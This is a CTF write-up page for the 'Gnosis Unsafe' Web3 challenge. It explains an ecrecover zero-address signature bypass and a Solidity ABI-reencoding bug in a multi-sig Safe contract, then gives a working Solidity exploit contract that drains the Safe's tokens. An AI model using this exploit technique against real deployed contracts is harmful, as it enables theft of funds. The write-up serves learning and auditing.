ctfwriteup
  • ✅/home/ret2basic.eth
  • Game Hacking
    • 👑Pwn Adventure 3: Pwnie Island
      • ✅Prep: Speed Hack
      • ✅Prep: Infinite Health and Mana (Offline)
      • ✅Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • ✅Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • ✅Step 1: Setup
      • ✅Step 2: Scan for "Exact Value"
      • ✅Step 3: Scan for "Unknown initial value"
      • ✅Step 4: Scan for float and double
      • ✅Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • 👑Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • 👑Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • ✅Unstoppable
      • ✅Naive Receiver
      • ✅Truster
      • ✅Side Entrance
      • ✅The Rewarder
      • ✅Selfie
      • ✅Compromised
      • ✅Puppet
      • ✅Puppet V2
      • ✅Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • ✅Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • ✅Meta Staking
      • ✅Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • ✅Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • ✅Crystal DAO
      • ✅Liquidatoooor
    • ✅Ethernaut
      • ✅Hello Ethernaut
      • ✅Fallback
      • ✅Fallout
      • ✅Coin Flip
      • ✅Telephone
      • ✅Token
      • ✅Delegation
      • ✅Force
      • ✅Vault
      • ✅King
      • ✅Re-entrancy
      • ✅Elevator
      • ✅Privacy
      • ✅Gatekeeper One
      • ✅Gatekeeper Two
      • ✅Naught Coin
      • ✅Preservation
      • ✅Recovery
      • ✅MagicNumber
      • ✅Alien Codex
      • ✅Denial
      • ✅Shop
      • ✅DEX
      • ✅DEX Two
      • ✅Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • ✅Good Samaritan
      • Gatekeeper Three
      • Switch
    • ✅Flashbots MEV-Share CTF
    • ✅Capture the Ether
      • ✅Lotteries
      • ✅Math
      • ✅Miscellaneous
    • ✅EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅More EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅QuillCTF
      • ✅MetaToken
      • ✅Temporary Variable
      • KeyCraft
      • ✅Lottery
      • ✅Private Club
      • Voting Machine
      • ✅Predictable NFT
      • ✅Invest Pool
      • PseudoRandom
      • ✅Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • ✅Donate
      • ✅WETH-11
      • Panda Token
      • Gate
      • ✅WETH10
      • ✅Pelusa
      • ✅True XOR
      • ✅Collatz Puzzle
      • ✅D31eg4t3
      • ✅Safe NFT
      • ✅VIP Bank
      • ✅Confidential Hash
      • ✅Road Closed
    • ✅unhacked
      • ✅reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • ✅01 - ReturnBool
      • ✅02 - SimpleRevert
      • ✅03 - Return42
      • ✅04 - RevertWithError
      • ✅05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • ✅Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • ✅Jarvis OJ Pwn Xman Series
    • ✅Jarvis OJ Crypto RSA Series
    • ✅picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • ✅Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • ✅Linux
        • ✅Safe (Easy)
        • ✅Delivery (Easy)
        • ✅TheNotebook (Medium)
        • ✅Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • ✅Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • ✅TCM Linux Privilege Escalation Course
      • ✅TryHackMe - Simple CTF (Easy)
      • ✅TryHackMe - Vulnversity (Easy)
      • ✅TryHackMe - CMesS (Medium)
      • ✅TryHackMe - UltraTech (Medium)
      • ✅TryHackMe - LazyAdmin (Easy)
      • ✅TryHackMe - Anonymous (Medium)
      • ✅TryHackMe - tomghost (Easy)
      • ✅TryHackMe - ConvertMyVideo (Medium)
      • ✅TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Codebase walkthrough
  • Bug description
  • The ecrecover bug
  • The ABI-reencoding bug
  • PoC
  1. Web3 CTF
  2. Milotruck Challs

Gnosis Unsafe

Codebase walkthrough

Safe.sol is a gnosis-safe-like contract. It works like a multi-sig wallet, initially there are three owners:

  • 0x1337

  • 0xdead

  • 0xdeadbeef

and the safe holds 10000e18 grey token. The goal is to steal all the funds from the safe. And you know that no one knows the private key to these 3 addresses, so there must be a bug in the contract itself.

To make a withdraw tx, you first propose a tx by aclling queueTransaction(). Your tx struct data and ECDSA signature v,r,s will be stored in a mapping called queueHashToTimestamp. To actually execute the tx, you then call executeTransaction(). This function checks if you provide at least 3 signatures, then verifies signatures with ecrecover. In the end it transfers asset to an address (_to) specified in your tx struct:

    struct Transaction {
        address signer;
        address to;
        uint256 value;
        bytes data;
    }

There is also a function named vetoTransaction() but it is not used anywhere. Therefore let’s just ignore it.

Bug description

The ecrecover bug

The bug is in executeTransaction(), signature verification logic specifically. This is a well-known bug of ecrecover:

        // @audit-issue ecrecover returns 0 upon failure,
        // so setting transaction.signer = address(0) can bypass signature check
        address signer = ecrecover(
            txHash, 
            v[signatureIndex], 
            r[signatureIndex], 
            s[signatureIndex]
        );
        if (signer != transaction.signer) revert InvalidSignature();

The if check here isn’t sufficient, you must also check transaction.signer ≠ address(0), otherwise attacker can set transaction.signer = address(0), which corresponds to the case when ecrecover fails.

The ABI-reencoding bug

    function executeTransaction(
        uint8[OWNER_COUNT] calldata v,
        bytes32[OWNER_COUNT] calldata r,
        bytes32[OWNER_COUNT] calldata s,
        Transaction calldata transaction,
        uint256 signatureIndex
    ) external payable returns (bool success, bytes memory returndata) {
        ...
        
        bytes32 queueHash = keccak256(abi.encode(
            transaction,
            v,
            r,
            s
        ));

        uint256 queueTimestamp = queueHashToTimestamp[queueHash];
        if (queueTimestamp == 0) revert TransactionNotQueued();
        ...
    }

Before we execute the tx, transaction.signer must be set to address(0). But that will influence the abi.encode() computation, so queueHash will be a brand new hash and queueHashToTimestamp[queueHash] will be 0.

It turns out there is an ABI-reencoding bug in Solidity <0.8.16:

TL;DR: If the struct contains a dynamic type such as string or bytes, the second packing (abi.encode family) will treat the first entry of this struct as 0. The root cause is aggresive array cleanup.

In the context of this chall, the first packing happens when we send the tx struct as a function argument:

The flow goes into queueTransaction() and triggers the second packing: abi.encode()

Because of the bug, transaction.signer is set to 0 when computing the encoding, therefore queueHash is the same as in solvePart2, even though we modified transaction.signer here:

PoC

In part 1 we propose a withdraw tx by calling queueTransaction(), signer is set to one of the owners, everything is legit. Wait 1 minute to for this block to finalize on chain, then in a future block we modify signer to be address(0) and send modified tx struct to executeTransaction().

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, GREY, Safe } from "src/gnosis-unsafe/Setup.sol";
import { ISafe } from "src/gnosis-unsafe/interfaces/ISafe.sol";

contract Exploit {
    Setup setup;

    Safe.Transaction transaction;
    uint8[3] v;
    bytes32[3] r;
    bytes32[3] s;

    constructor(Setup _setup) {
        setup = _setup;
    }

    // Execute this first
    function solvePart1() external {
        // Create transaction that transfers 10,000 GREY tokens out 
        transaction = ISafe.Transaction({
            signer: address(0x1337),
            to: address(setup.grey()),
            value: 0,
            data: abi.encodeCall(GREY.transfer, (msg.sender, 10_000e18))
        });

        // Queue the transaction
        setup.safe().queueTransaction(v, r, s, transaction);
    }

    // Execute this around 1 minute after solvePart1()
    function solvePart2() external {
        // Set the signer to address(0)
        transaction.signer = address(0);

        // Execute the transaction
        setup.safe().executeTransaction(v, r, s, transaction, 0);
    }
}
PreviousMeta StakingNextSecureum AMAZEX DSS Paris

Last updated 8 months ago

This bug is very easy to spot, but there is a very interesting question that I researched in the past: why does ecrecover return 0 upon failure? Here is how Claude 3.5 answers this question:

There is one more subtle technical bug in :

✅
https://poe.com/s/f7V2ErI3Yoz2n3gvhL6Q
this code
Head Overflow Bug in Calldata Tuple ABI-Reencoding | Solidity Programming LanguageSolidity Programming Language
Logo
solvePart1()
queueTransaction()